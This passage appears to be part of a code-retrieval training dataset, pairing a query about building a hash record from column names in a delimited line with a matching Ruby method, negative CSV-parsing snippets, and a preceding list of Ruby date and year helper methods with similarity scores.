"def a_year()\n now = Time.now\n if now.month < 4\n now.year - 1\n else\n now.year\n end\nend",
"def raw_year\n start_on.year\n end",
"def first_year\n 2012\n end",
"def year\n @year ||= TODAY.year\n end",
"def years ; self * 365.days ; end",
"def years; self * YEAR; end",
"def get_year_array\n accurate_range = Timesheet.used_range( true )\n\n # Does the range's start date lie within a commerical week which actually\n # starts in the previous year?\n\n first_date = accurate_range.first\n first_day_of_week = Timesheet.date_for( first_date.year, first_date.cweek, TimesheetRow::FIRST_DAY, true )\n start_year = first_day_of_week.year\n\n # Similar logic for the range's last date.\n\n if ( accurate_range.last > Date.today ) # Implies no work packets => Timesheet.used_range returned an allowed range instead.\n last_date = Date.today\n else\n last_date = accurate_range.last\n end\n\n last_day_of_week = Timesheet.date_for( last_date.year, last_date.cweek, TimesheetRow::LAST_DAY, true )\n end_year = last_day_of_week.year\n\n years = []\n year_range = ( start_year..end_year )\n\n # Build the years array backwards so newer dates are encountered\n # first - a user is more likely to be interested in current data\n # than in ancient history.\n\n year_range.each do | year |\n years.unshift( ReportYear.new( year, accurate_range ) )\n end\n\n return years\n end",
"def year\n end",
"def associated_years\n years = \"\"\n \n\t start_date = event_start\n\t start_date = entry_deadline if is_opportunity?\n\t \n years << start_date.year.to_s if !start_date.blank?\n years << ' '\n years << event_finish.year.to_s if !event_finish.blank?\n \n #remove duplicates and trim off spaces\n unique_years = years.strip.split(' ').uniq.sort\n result = unique_years\n if unique_years.length > 1\n result = []\n for y in unique_years[0]..unique_years[1]\n result << y\n end\n end\n result\n #now we have the 2004-2008 case to deal with, we wish to create [2004,2005,...2008]\n \n end",
"def year\n Time.zone.now.year\n end",
"def year\n date&.strftime('%Y')\n end",
"def get_next_yr\n\tset_cur_year(get_cur_year+1)\nend",
"def get_project_fiscal_years project\n if project.blank?\n []\n elsif project.multi_year?\n a = []\n (current_fiscal_year_year..current_fiscal_year_year + 49).map{ |y| [fiscal_year(y), y] }.each do |fy|\n if fy[1] < project.fy_year\n next\n else\n a << fy\n end\n end\n a\n else\n [[project.fiscal_year, project.fy_year]]\n end\n end",
"def end_year\n Time.now.year \n end",
"def faith_years\n (Time.now.year - 1991).ordinalize\n end",
"def js_year(year)\n [year,1,1].compact.join(',')\n end",
"def copyright_years(start_year)\n end_year = Date.today.year\n if start_year == end_year\n start_year.to_s\n else\n start_year.to_s + '-' + end_year.to_s\n end\n end",
"def to_year(**options) = convert_to('year', **options)",
"def year\n current_year = Date.today.year\n\n case raw_year\n when current_year; \"this year\"\n when current_year.next; \"next year\"\n when current_year.pred; \"last year\"\n else; raw_year.to_s\n end\n end",
"def build_header_year\n \"#{begin_date.year}/#{end_date.year}\"\n end",
"def years\n self.to_i * 31_557_600\n end",
"def year\n return @year\n end",
"def cwyear\n end",
"def end_year\n Time.now.year - 90\n end",
"def expanded_years\n @expanded_years ||= work.date_of_work.collect { |date_of_work| years_for_date_of_work(date_of_work) }.flatten\n end",
"def year(year_range = (1930..1950))\n rand(year_range)\nend",
"def yn(year)\n return year if year.size == 4\n\n y = Date.today.year.to_s[2..4].to_i + 1\n case year.to_i\n when 0...y then \"20#{year}\"\n when y..99 then \"19#{year}\"\n end\n end",
"def w_year; end",
"def get_all_fiscal_years\n get_fiscal_years(Date.today - 4.years)\n end",
"def year_month_ranges year\n\t\t\tfrom = Date.new(year, Time.now.month, Time.now.beginning_of_month.day) - 1.year\n\t\t\tto = Date.new(year, Time.now.month, Time.now.end_of_month.day)\n\t\t\t(from..to).group_by(&:month).map { |n,v| v.first.beginning_of_month.to_s..(v.first.end_of_month + 1.day).midnight.to_s }\n\t\tend",
"def min_year\n 2015\n end",
"def year(date)\n y = date.year.abs.to_s\n return [y, BCE_SUFFIX].join(' ') if (date.year <= -1)\n y\n end",
"def format_year(year)\n \"#{year}-#{year+1}\"\n end",
"def year\n @year = params[:year].to_i\n @first_month = 1\n @last_month = (Date.today.year == @year) ? Date.today.month : 12\n end",
"def effective_year\n if next_year_start_at && Time.zone.now < 1.year.from_now(next_year_start_at)\n if Time.zone.now < next_year_start_at\n return Time.zone.now.year\n elsif Time.zone.now >= next_year_start_at\n if Time.zone.now.year == next_year_start_at.year\n return Time.zone.now.year + 1\n else\n return Time.zone.now.year\n end\n end\n elsif Time.zone.now.month == 12 && Time.zone.now.day >= 1\n return Time.zone.now.year + 1\n end\n\n Time.zone.now.year\n end",
"def year_active_year\n y = role_object.year\n y ||= role_object.stated_year\n y\n end",
"def year\n return @year\n end",
"def get_year\n @year ||= params[:year] ? params[:year].to_i : Time.now.year\n end",
"def work_out_year(value)\n case value\n when 0..39\n 2000 + value\n when 40..99\n 1900 + value\n else\n value\n end\n end",
"def year1\n @year1 = @subtotal3 + @mobilisation + @tupe\n end",
"def to_s\n fy = first.year.to_s\n end_year = last.year\n fy += \"-\" + end_year.to_s unless first.year == end_year\n fy\n end",
"def academic_year\n academic_year = case quarter_code_id\n when 1\n \"#{year-1}-#{year}\"\n when 2\n \"#{year-1}-#{year}\"\n when 3\n \"#{year}-#{year+1}\"\n when 4\n \"#{year}-#{year+1}\"\n end\n academic_year\n end",
"def get_year_with_number\n date_receipt.strftime(\"%Y\") + \"-\" + sprintf( \"%03i\", receipt_num )\n end",
"def cumulative_years\n if deleted_at && deleted_at.year > created_at.year\n (created_at.year...deleted_at.year).to_a\n elsif deleted_at\n []\n else\n (created_at.year..Date.today.year).to_a\n end\n end",
"def thisYear\n\t\t\t@this_year ||= Date.current.year\n\t\tend",
"def year_calculations\n\t\t@prev_beg_range = @beg_range.to_date.beginning_of_year.prev_year\n\t\t@prev_end_range = @beg_range.to_date.beginning_of_year-1.day\n\t\t@next_beg_range = @beg_range.to_date.next_year.beginning_of_year\n\t\t@next_end_range = @beg_range.to_date.next_year.end_of_year\n\tend",
"def gas_year\n y = year\n if self< Date.new(y,10,1)\n y\n else\n y+1\n end\n end",
"def work_out_year(value)\n case value\n when 0..39\n 2000 + value\n when 40..99\n 1900 + value\n when nil\n Time.zone.now.year\n else\n # We may be passed something that's not a straight out integer\n # These things include: BigDecimals, Floats and Strings.\n value.to_i\n end\n end",
"def year\n created.strftime '%Y'\n end",
"def dates\n \t\"(#{years})\".sub(\"()\",\"\")\n end",
"def new_year(input)\n equinox = Integer === input ? @astro.solar_event(:march_equinox, input) : @astro.previous(:march_equinox, input)\n date = local_date(equinox)\n equinox.localtime(utc_offset).hour < 12 ? date : date + 1\n end",
"def default_year\n Time.now.month <= 5 ? Time.now.year : Time.now.year + 1 \n end",
"def year=(value)\n @year = value\n end",
"def build_school_year(year=nil)\n return SchoolYear.new if year.blank?\n\n starting_day = (year.is_a? Date) ? year : start_date_from_year(year)\n SchoolYear.new(start_date: starting_day, end_date: starting_day.next_year)\n end",
"def advance_years(years)\n advance_to_date(to_date >> (years*12))\n end",
"def years\n Thread.current[:datet_mode] = :years\n return self\n end",
"def slice_year\n if @year\n @year\n elsif @quarter\n @quarter[0, 4]\n elsif @month\n @month[0, 4]\n elsif @week\n @week[0, 4]\n else\n nil\n end\n end",
"def get_cur_year\n\treturn $cur_year.to_i\nend",
"def copyright_years(start_year)\n end_year = Date.today.year\n if start_year == end_year\n \"\\#{start_year}\"\n else\n \"\\#{start_year}–\\#{end_year}\"\n end\n end",
"def to_year\n month_obj = []\n month_obj << \"#{month_name}\".center(DEFAULT_MONTH_WIDTH)\n month_obj << \"Su Mo Tu We Th Fr Sa\"\n month_obj.concat(format_body)\n end",
"def yearly(options = {})\n branch options.merge(every: :year)\n end",
"def yearly(options = {})\n branch options.merge(every: :year)\n end",
"def years ; Duration[self * 365 * 86400, :years] ; end",
"def year\n (seconds_since_epoch / Y_SECS).to_i\n end",
"def year\n return @t_year\n end",
"def get_planning_fiscal_years(date = Date.today)\n current_year = fiscal_year_year_on_date(date)\n a = []\n (current_year..last_fiscal_year_year).each do |year|\n a << [fiscal_year(year), year]\n end\n a\n end",
"def year(value)\n @ole.Year = value\n nil\n end",
"def year\n self._id['year']\n end",
"def year\n self.class.get_year(@bits)\n end",
"def no_repeat_years(first_year, last_year)\nend",
"def extract_year(date)\n if date.blank?\n []\n elsif date == \"undated\"\n []\n elsif /^\\d{4}$/ =~ date\n # Date.iso8601 doesn't support YYYY dates\n [date.to_i]\n elsif /^\\d{4}-\\d{4}$/ =~ date\n # date range in YYYY-YYYY format\n earliest, latest = date.split('-').flat_map{ |y| y.to_i }\n (earliest..latest).to_a\n else\n [Date.iso8601(date).year]\n end\n rescue ArgumentError\n raise \"Invalid date: #{date.inspect}\"\n end",
"def year\n #Para que salga con el formato de ARG\n fecha = Date.parse(self.created_at.to_s)\n fecha.strftime('%Y')\n end",
"def year\n ((semester - 1) / 2) + 1\n end",
"def century_year(year)\n\n\tcentury_year = year.div(100) + 1\n\tcentury_year -= 1 if year % 100 == 0\n\tcentury_year.to_s + century_suffix(century_year)\n\nend",
"def to_years; Rational === @val ? @val/12 : @val/12.0 end",
"def get_year_month_list()\n arr=[]\n start=\"2008_01\"\n str=\"\"\n var_date = Time.now\n while( start != str)\n str = var_date.year.to_s + \"_\" + \"%02d\" % var_date.month.to_s\n arr << str\n var_date = var_date - 1.month\n end\n return arr\n end",
"def no_repeat_years(first_yr, last_yr)\n array = []\n (first_yr..last_yr).each do |year|\n array << year if not_repeat_year?(year)\n end\n array\nend",
"def year\n @date_time_value.year\n end",
"def year\n @date_time_value.year\n end",
"def month_of_year(months, *extras)\n merge(month: months.array_concat(extras))\n end"
] | [
"0.81321406",
"0.7907545",
"0.75129354",
"0.7320507",
"0.7258197",
"0.7170044",
"0.71419567",
"0.7095153",
"0.70775753",
"0.70690596",
"0.70271087",
"0.70121396",
"0.7001414",
"0.6972363",
"0.69550437",
"0.6935392",
"0.6920794",
"0.6920794",
"0.6890957",
"0.6889677",
"0.68542045",
"0.6848617",
"0.6821496",
"0.6812076",
"0.6808209",
"0.6801997",
"0.67925113",
"0.6739284",
"0.67362094",
"0.6682029",
"0.6681273",
"0.6676417",
"0.6634486",
"0.6625493",
"0.6617125",
"0.6604744",
"0.65877664",
"0.65835786",
"0.6558554",
"0.6539507",
"0.65393984",
"0.6535275",
"0.65335035",
"0.650261",
"0.6490867",
"0.64868563",
"0.64806134",
"0.6475515",
"0.64412236",
"0.6425038",
"0.6424713",
"0.6423661",
"0.641538",
"0.6406361",
"0.64049554",
"0.64048564",
"0.64031965",
"0.63878214",
"0.6387222",
"0.638519",
"0.6384882",
"0.63824475",
"0.6371056",
"0.6368637",
"0.6365109",
"0.63612217",
"0.636056",
"0.6351504",
"0.635037",
"0.6346728",
"0.6343392",
"0.6339997",
"0.63340074",
"0.6297157",
"0.62857836",
"0.62831825",
"0.62797487",
"0.6272721",
"0.6269838",
"0.6256772",
"0.625157",
"0.625157",
"0.62437344",
"0.6228732",
"0.6211159",
"0.6208758",
"0.62042564",
"0.6203105",
"0.6198068",
"0.61970234",
"0.6192173",
"0.618975",
"0.61800545",
"0.6179869",
"0.6175162",
"0.6171893",
"0.61612666",
"0.6154981",
"0.6154981",
"0.61409855"
] | 0.6626334 | 33 |
It will fill the hash_record with data from the input file that matches the column_names | def fill_hash_record_from_line(column_names, headers, line)
hash_record = {}
fields = line.split(@sep)
fields.each_with_index do |field, field_id|
hash_record[headers[field_id]] = field if column_names.include?(headers[field_id])
end
hash_record
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize_values\n #skip the first 5 bytes, don't know what they are for and they don't contain the data.\n @data.read(5)\n \n @attributes = columns.inject({}) do |hash, column|\n \n #get the unpack flag to get this data.\n value = @data.read(column.length).unpack(\"#{column.flag(column.type, column.length)}\").first\n hash[column.name] = value\n hash[column.name.underscore] = value\n \n hash\n end\n end",
"def create_lookup_table\n File.open(source).each_with_index do |line|\n next if line.chomp.empty?\n\n values = unstring(line).chomp.split(';')\n\n next if values.empty?\n\n @joiners.each do |joiner|\n key = values[joiner.join[0]]\n joiner.lookup[:rows][key] = []\n\n joiner.cols.each do |i|\n joiner.lookup[:rows][key] << values[i]\n end\n end\n\n end\n end",
"def lookup(row,col) #input file, put out rows\n @data.each do |row|\n\n row.each do |col|\n @parsed[row][col] = row[0][col].to_sym => col\n end\n end\n return @parsed\n end",
"def make_testdata_reworked_csv_file\n create_column_headers_index_hash \n create_row_headers_index_hash \n clear_testdata_reworked_file\n CSV.open('testdata_reworked.csv', \"wb\") do |csv|\n CSV.foreach('testdata.csv', {headers: true}) do |row| \n row[0] = @column_hash.key(row[0].to_i)\n row[1] = @row_hash.key(row[1].to_i)\n csv << row\n end\n end\nend",
"def hash_creator(filepath)\n hash = Hash.new\n CSV.foreach(filepath, headers: true) do |row|\n student = Student.new(fname = row[0], lname = row[1], email = row[2], section = row[3], major1 = row[4], major2 = row[5], minor1 = row[6], minor2 = row[7])\n if hash.has_key?(student.section)\n array = hash[student.section]\n array.push(student)\n hash[student.section] = array\n else\n array = [student]\n hash[student.section] = array\n end\n end\n return hash\nend",
"def load_row_data(headers, row)\n # Hash of field values\n fields = {}\n\n # List of alternate spellings found in current row\n alt_spellings = []\n\n # Related words for current row\n see_also = []\n\n # List of hashes of source data for current row\n sources = []\n\n # Loop through the cells in the row\n row.each_with_index do |field_value, col_index|\n # Skip empty cells\n next unless field_value\n\n # Remove leading/trailing whitespace from field value\n field_value = field_value.strip\n\n # Get current header\n header = headers[col_index]\n\n if header.start_with? 'headword'\n headword_data = headword_data field_value\n fields = fields.merge headword_data\n next\n end\n\n if header.start_with? 'altspelling'\n alt_spellings << field_value\n next\n end\n\n if header.start_with? 'source'\n match = self.class.source_header_regex.match header\n\n # Get source number i.e. source1\n source_num = match[1].to_i - 1 # Subtract 1 since CSV vals are 1-based, and arrays are 0-based\n\n # Ref/original_ref/date/place\n source_component = match[2]\n\n # Find or create source record for current source\n current_source = sources[source_num] ||= {}\n\n # Add current field to source obj\n current_source[source_component.to_sym] = field_value\n current_source[:source_num] = source_num\n next\n end\n\n if header == 'see also'\n current_see_also = see_also_from_string field_value\n see_also += current_see_also\n next\n end\n\n # No match, so just add as is\n fields[header.to_sym] = field_value\n end\n\n # Fields that are handled specially\n special_fields = { alt_spellings: alt_spellings, see_also: see_also, sources: sources }\n\n # Add special fields to all others\n all_fields = special_fields.merge fields\n\n all_fields\n end",
"def load_data(file)\r\n data_hash = {}\r\n File.foreach(file) do |line|\r\n row = line.scan(/(^\\d*.\\s*\\d*.\\s*\\d*)\\W*(\\w{6})\\W*(\\d*.\\w*.\\d*)/) do |col|\r\n unless data_hash.include?(col[1])\r\n date = []\r\n dose = []\r\n date << read_date(col[0])\r\n dose << col[2].to_f\r\n data_hash[col[1]] = {dates: date, doses: dose}\r\n else\r\n if Date.parse(read_date(col[0])).mjd < Date.parse(data_hash[col[1]][:dates][0]).mjd\r\n data_hash[col[1]][:dates].unshift(read_date(col[0]))\r\n data_hash[col[1]][:doses].unshift(col[2].to_f)\r\n else\r\n data_hash[col[1]][:dates] << read_date(col[0])\r\n data_hash[col[1]][:doses] << col[2].to_f\r\n end\r\n end\r\n end\r\n end\r\n return data_hash\r\nend",
"def read_data(options={})\n orig_data = CSV.read(@filename, :skip_blanks => true)\n num_lines = orig_data.length\n if num_lines % @num_lines_per_linegroup == 0\n num_line_groups = num_lines / @num_lines_per_linegroup\n else\n raise \"ERROR: Invalid number of lines in file!\"\n end\n \n# puts \"Num Lines: #{num_lines}\"\n# puts \"************************\\n\"\n \n # array for final data\n @final_data = []\n \n # go through each line group\n num_line_groups.times do |i|\n \n # init a temp hash\n temp_hashes = []\n @data_columns.each do |col|\n temp_hashes[col] = {}\n end\n \n # grab data per linegroup\n @num_lines_per_linegroup.times do |j|\n line = orig_data[i*@num_lines_per_linegroup + j]\n field_name = @input_data_rows[j]\n # parse columns within a line\n @data_columns.each do |col|\n data = line[col]\n temp_hashes[col][field_name] = data\n # puts \" #{line[col]}\" if !line[col].nil?\n end\n end\n \n # push grabbed data onto master hash array\n temp_hashes.each do |record|\n if !record.nil?\n @final_data << record\n end\n end\n \n end # per line groups\n \nend",
"def index_source\n @lines = {}\n @index = Hash.new{ |h, k| h[k] = [] }\n if @field_names\n index_fields\n include_filter = convert_filter(@include, @field_names)\n exclude_filter = convert_filter(@exclude, @field_names)\n end\n @line_count = 0\n @skip_count = 0\n @dup_count = 0\n line_num = 0\n @data.each do |row|\n line_num += 1\n next if line_num == 1 && @field_names && @ignore_header\n unless @field_names\n if row.class.name == 'CSV::Row'\n @field_names = row.headers.each_with_index.map{ |f, i| f || i.to_s }\n else\n @field_names = row.each_with_index.map{ |f, i| f || i.to_s }\n end\n index_fields\n include_filter = convert_filter(@include, @field_names)\n exclude_filter = convert_filter(@exclude, @field_names)\n next\n end\n field_vals = row\n line = {}\n filter = false\n @field_names.each_with_index do |field, i|\n val = field_vals[i]\n val = val.to_s.strip if val && @trim_whitespace\n line[field] = val\n if include_filter && f = include_filter[i]\n filter = !check_filter(f, line[field])\n end\n if exclude_filter && f = exclude_filter[i]\n filter = check_filter(f, line[field])\n end\n break if filter\n end\n if filter\n @skip_count += 1\n next\n end\n key_values = @key_field_indexes.map{ |kf| @case_sensitive ?\n field_vals[kf].to_s :\n field_vals[kf].to_s.upcase }\n key = key_values.join('~')\n parent_key = key_values[0...(@parent_fields.length)].join('~')\n if @lines[key]\n @warnings << \"Duplicate key '#{key}' encountered at line #{line_num}\"\n @dup_count += 1\n key += \"[#{@dup_count}]\"\n end\n @index[parent_key] << key\n @lines[key] = line\n @line_count += 1\n end\n end",
"def process_csv_file(filename, no_of_unique,delimiter)\n @arr_unique = Array.new{hash.new}\n @arr_details = Array.new(@no_of_columns){{\"int\" => 0, \"float\" => 0, \"date\" => 0, \"datetime\" => 0, \"string\" => 0, \"max_value\" => 0, \"min_value\" => 0}}\n total_chunks = SmarterCSV.process(filename, {:col_sep => delimiter, :chunk_size => 200, :remove_empty_values => false, :remove_zero_values => false}) do |chunk|\n for i in [email protected]\n arr = chunk.map{|x| x[@headers[i].to_sym]}\n if(@arr_unique[i].to_a.empty?)\n @arr_unique[i] = arr.uniq\n elsif(@arr_unique[i].size < no_of_unique.to_i+2)\n @arr_unique[i] |= arr.uniq\n elsif (arr.uniq.include?(nil) && !@arr_unique[i].include?(nil))\n @arr_unique[i].push(nil)\n elsif (arr.uniq.include?(\"NULL\") && !@arr_unique[i].include?(\"NULL\"))\n @arr_unique[i].push(\"NULL\")\n elsif (arr.uniq.include?(\"\\N\") && !@arr_unique[i].include?(\"\\N\"))\n @arr_unique[i].push(\"\\N\") \n elsif (arr.uniq.include?(\"\") && !@arr_unique[i].include?(\"\"))\n @arr_unique[i].push(\"\")\n elsif (arr.uniq.include?(\" \") && !@arr_unique[i].include?(\" \"))\n @arr_unique[i].push(\" \")\n end \n arr.each do |field|\n field_type = get_datatype(field)\n count = @arr_details[i][field_type]\n @arr_details[i][field_type] = count+1\n if(field != nil)\n begin\n if(@header_datatype[i] == \"int\" || @header_datatype[i] == \"float\") \n if(@arr_details[i][\"max_value\"] < field)\n @arr_details[i][\"max_value\"] = field\n end\n if(@arr_details[i][\"min_value\"] > field || @arr_details[i][\"min_value\"] == 0)\n @arr_details[i][\"min_value\"] = field\n end\n else\n if(@arr_details[i][\"max_value\"] < field.to_s.length)\n @arr_details[i][\"max_value\"] = field.to_s.length\n end\n if(@arr_details[i][\"min_value\"] > field.to_s.length || @arr_details[i][\"min_value\"] == 0)\n @arr_details[i][\"min_value\"] = field.to_s.length\n end\n end\n rescue Exception => e\n end\n end\n end\n end\n end\n end",
"def assign_csv_values_to_genericfile(row, generic_file)\n field_mappings = @import.import_field_mappings.where('import_field_mappings.key != ?', 'image_filename')\n field_mappings.each do |field_mapping|\n\n key_column_number_arr = @import.import_field_mappings.where(key: field_mapping.key).first.value.reject!{|a| a.blank? } \n key_column_value_arr = []\n\n # For certain fields the values in the csv are comma delimeted and need to be parsed\n if field_mapping.key == 'subject'\n key_column_number_arr.each do |num|\n key_column_value_arr = key_column_value_arr + (row[num.to_i].try(:split, ',') || [])\n end\n elsif field_mapping.key == 'collection_identifier'\n # it's not a multivalue field so let's just get the first mapping\n key_column_number_arr.each do |num|\n generic_file.collection_identifier = row[num.to_i]\n break\n end\n\n elsif field_mapping.key == 'measurements'\n key_column_number_arr.each do |num|\n measurement_hash = measurement_format_for(row[num.to_i].try(:strip))\n unless measurement_hash.nil?\n #insert field as a measurement object\n measurement = Osul::VRA::Measurement.create(measurement: measurement_hash[:width], measurement_unit: measurement_hash[:unit], measurement_type: \"width\") \n \n generic_file.measurements << measurement\n measurement = Osul::VRA::Measurement.create(measurement: measurement_hash[:height], measurement_unit: measurement_hash[:unit], measurement_type: \"height\") \n generic_file.measurements << measurement\n end\n end\n\n elsif field_mapping.key == 'materials'\n key_column_number_arr.each do |num|\n material_hash = material_format_for(row[num.to_i].try(:strip))\n unless material_hash.nil?\n material = Osul::VRA::Material.create(material_hash)\n generic_file.materials << material\n end\n end\n\n else\n key_column_number_arr.each do |num|\n key_column_value_arr << row[num.to_i]\n end\n end\n\n # materials and measurements are associations so they are updated differently \n unless field_mapping.key == 'materials' or field_mapping.key == 'measurements' or field_mapping.key == 'collection_identifier'\n key_column_value_arr = key_column_value_arr.map.reject{|a| a.blank?}\n generic_file.send(\"#{field_mapping.key}=\".to_sym, key_column_value_arr)\n end\n end\n end",
"def hash_from source, line\n line_elements = line.split(source[:delim]).map(&:strip)\n Hash[source[:headers].zip(line_elements)].tap do |h|\n h[:birth_date] = Date.strptime( h[:birth_date].to_s.gsub('-','/'), '%m/%d/%Y' )\n end\n end",
"def populate_fields\n @header = populate_hmap_header\n string_t = @raw_data[header.strings_offset..-1]\n @bucktes = populate_buckets do |bucket|\n bucket_s = bucket.to_a.map do |key|\n string_t[key..-1].match(/[^\\0]+/)[0]\n end\n HMapBucketStr.new(*bucket_s)\n end\n end",
"def each_record(table, &block)\n columns = nil\n read_each(table) do |line|\n if columns\n yield Hash[columns.zip(line)]\n else\n columns = line.map(&:to_sym)\n end\n end\n end",
"def initialize_input_hash(filename)\n input = {}\n File.open(filename, 'r') do |file|\n while line = file.gets\n input[line.to_i] = true\n end\n end\n input\nend",
"def initial_data_type(filename,chunk,delimiter)\n @headers = Array.new\n @header_datatype = Array.new\n get_keys = false\n @arr_unique = Array.new{hash.new}\n #hash_datatype = {\"int\" => 0, \"float\" => 0, \"date\" => 0, \"string\" => 0}\n @arr_details = Array.new(@no_of_columns){{\"int\" => 0, \"float\" => 0, \"date\" => 0, \"datetime\" => 0, \"string\" => 0}}\n total_chunks = SmarterCSV.process(filename, {:col_sep => delimiter, :chunk_size => chunk, :remove_empty_values => false, :remove_zero_values => false}) do |chunk|\n if(get_keys == false)\n chunk.each do |row| \n @headers = row.keys\n #puts headers[0].to_sym\n get_keys = true\n break\n end\n end\n for i in [email protected]\n arr = chunk.map{|x| x[@headers[i].to_sym]}\n if(@arr_unique[i].to_a.empty?)\n @arr_unique[i] = arr\n arr.each do |field|\n field_type = get_datatype(field)\n count = @arr_details[i][field_type]\n @arr_details[i][field_type] = count+1\n\n end\n else\n @arr_unique[i] |= arr\n arr.each do |field|\n field_type = get_datatype(field)\n count = @arr_details[i][field_type]\n @arr_details[i][field_type] = count+1\n end\n end\n end\n break\n end\n #To prepare hash with datatypes of every column to decide on the intial datatypes\n #puts @arr_details.inspect\n @arr_details.each do |hash|\n max_value = 0\n max_value_key = String.new\n hash.each do |key, value|\n if(max_value <= value)\n max_value = value\n max_value_key = key\n end\n end\n if max_value_key == \"int\"\n if hash[\"float\"] != 0\n max_value_key = \"float\"\n end\n end\n max_value_key = \"string\" if hash[\"string\"] != 0\n @header_datatype.push(max_value_key)\n end\n #puts @header_datatype.inspect\n end",
"def import_input_data(data)\n\n # clear all the old data\n #InputRecord.delete_all\n\n # grab the table out of the data file\n table = /<table.*?>(.*)<\\/table>/im.match(data.squish)\n # split into array rows based on <tr></tr> and do some cleanup\n tabledata = table[1].gsub(/\\ /,\" \").gsub(/ </,\"<\").gsub(/> /,\">\").gsub(/<b>|<\\/b>|<img.*?>|<\\/img>|<span.*?>|<\\/span>|<td.*?>|<a .*?>|<\\/a>/,\"\").scan(/<tr.*?>.*?<\\/tr>/im)\n # split by columns and remove extraneous tags\n tabledata.map!{ |row| row.gsub(/<tr.*?>/,\"\").gsub(/<\\/td><\\/tr>/,\"\").force_encoding(\"UTF-8\").gsub(/\\u{a0}/,\"\").split(\"</td>\")}\n\n data_columns = {\n \"Acronym\" => :acronym,\n \"Title\" => :title,\n \"Organization\" => :organization,\n \"Department\" => :department,\n \"Agency\" => :agency,\n \"RFP #\" => :rfp_number,\n \"Solicitation #\" => :rfp_number,\n \"Program Value\" => :program_value,\n \"Value($k)\" => :program_value,\n \"RFP Date\" => :rfp_date,\n \"Solicitation Date\" => :rfp_date,\n \"Status\" => :status,\n \"User List\" => :user_list,\n \"Project Award Date\" => :project_award_date,\n \"Projected Award Date\" => :project_award_date,\n \"Opportunity Id\" => :input_opportunity_number,\n \"Opp Id\" => :input_opportunity_number,\n \"Contract Type\" => :contract_type,\n \"Contract Type (Combined List)\" => :contract_type_combined,\n \"Primary Service\" => :primary_service,\n \"Contract Duration\" => :contract_duration,\n \"Last Updated\" => :last_updated,\n \"Competition Type\" => :competition_type,\n \"NAICS\" => :naics,\n \"Primary State of Perf.\" => :primary_state_of_performance,\n \"Summary\" => :summary,\n \"Comments\" => :comments,\n \"Latest News\" => :comments,\n \"DOD/Civil\" => :dod_civil,\n \"Incumbent\" => :incumbent,\n \"Contractor\" => :incumbent,\n \"Contractor (Combined List)\" => :contractor_combined,\n \"Incumbent Value\" => :incumbent_value,\n \"Contract Value($k)\" => :incumbent_value,\n \"Incumbent Contract #\" => :incumbent_contract_number,\n \"Contract Number\" => :incumbent_contract_number,\n \"Incumbent Award Date\" => :incumbent_award_date,\n \"Contract Award Date\" => :incumbent_award_date,\n \"Incumbent Expire Date\" => :incumbent_expire_date,\n \"Contract Expire Date\" => :incumbent_expire_date,\n \"Priority\" => :priority,\n \"Vertical\" => :vertical,\n \"Vertical (Combined List)\" => :vertical_combined,\n \"Segment\" => :segment,\n \"Segment (Combined List)\" => :segment_combined,\n \"Key Contacts\" => :key_contacts\n }\n\n # figure out which input columns map to which data columns\n keys = []\n cols = {}\n tabledata[0].each_index do |column|\n keys[column] = data_columns[tabledata[0][column].strip]\n cols[data_columns[tabledata[0][column]]] = column\n# puts \"found #{keys[column]} in #{cols[data_columns[tabledata[0][column]]]}\"\n end\n\n record_count = 0\n\n # load the data\n for row in 1..(tabledata.length-1) # for each row (except the header row)\n# puts \"loading row #{row}\"\n opportunity_number_column = cols[:input_opportunity_number]\n opportunity_number = tabledata[row][opportunity_number_column]\n record = InputRecord.find_or_create_by_input_opportunity_number(opportunity_number) # get the record or make a new one\n keys.each_index do |column| # for each column in the input file, update the attribute\n case keys[column]\n when :title #need special processing for title to split URL from actual title\n if tabledata[row][column] =~ /<a/\n data = /<a href=\"(.*?)\">(.*?)<\\/a>/i.match(tabledata[row][column])\n record.input_url = data[1] unless data[1].nil?\n record.title = data[2] unless data[2].nil?\n else\n record.title = tabledata[row][column]\n end\n when :department\n @dept = tabledata[row][column]\n when :agency\n if tabledata[row][column].nil?\n record.send(\"organization=\", \"#{@dept}\")\n else\n record.send(\"organization=\", \"#{@dept}/#{tabledata[row][column]}\")\n end\n when :rfp_date, :project_award_date, :last_updated, :incumbent_award_date, :incumbent_expire_date\n record.send(\"#{keys[column]}=\",GovwinIQ.fix_input_date(tabledata[row][column]))\n else\n record.send(\"#{keys[column]}=\", tabledata[row][column]) unless keys[column].nil?\n end\n end\n record.save!\n record_count += 1\n end\n\n return record_count\n end",
"def import_from_csv(file_name)\r\n #implementation goes here\r\n csv_text = File.read(file_name)\r\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\r\n # #8 iterate over table rows, create hash for each, then convert to Entry using 'add_entry' method\r\n csv.each do |row|\r\n row_hash = row.to_hash\r\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\r\n end #end csv.each loop\r\n end",
"def merge_into_hash(file)\n current_fh = open_file(file)\n current_fh.each_line { |line|\n parts = split_line(line)\n next unless parts.length == Mergeit::Config::SUPPORTED_PARTS[:size]\n\n ip = parts[0].strip\n next unless is_ip_addr?(ip)\n\n numbers = parts[1].strip\n next unless is_valid_csv?(numbers)\n\n process_to_hash(ip, numbers.split(Mergeit::Config::NUMBERS[:delimeter]))\n }\n ensure\n current_fh.close\n end",
"def load_csv(file) \n\t\thash = {}\n\t\tCSV.foreach(file) { |row| hash[row[0]] = row[1] } \n\t\thash\n\tend",
"def readIDSFile(filename, char_hash)\n File.open(filename) do |f|\n while (line = f.gets)\n next if line.match(/^;;/) # line commented out?\n a = line.strip.split(\"\\t\")\n char_hash[a[0]] = Hash.new() unless char_hash.has_key? a[0]\n char_hash[a[0]][:ids] = a[2].to_u\n end\n end\nend",
"def parse\n @file_data.each {|line|\n h = {}\n data_elements = line.split('|').collect(&:strip)\n #LastName | FirstName | MiddleInitial | Gender | FavoriteColor | DateOfBirth\n @data_collection << {:last_name => data_elements[0], :first_name => data_elements[1], :middle_initial => data_elements[2], :gender => (data_elements[3] == 'M') ? 'Male' : 'Female', :favorite_color => data_elements[4], :dob => data_elements[5].gsub('-', '/'), :dob_year => data_elements[5][-4,4]}\n }\n end",
"def to_hash\n @data.map do |row|\n hsh = {}\n @field_names.each_with_index.map{ |fld, i| hsh[fld] = row[i] }\n hsh\n end\n end",
"def populateHash()\n File.open(\"codes.txt\").each do |line|\n pair = line.to_s.split(' ')\n @zipCodeHash.merge!( pair[0].to_i => pair[1].to_i )\n end\nend",
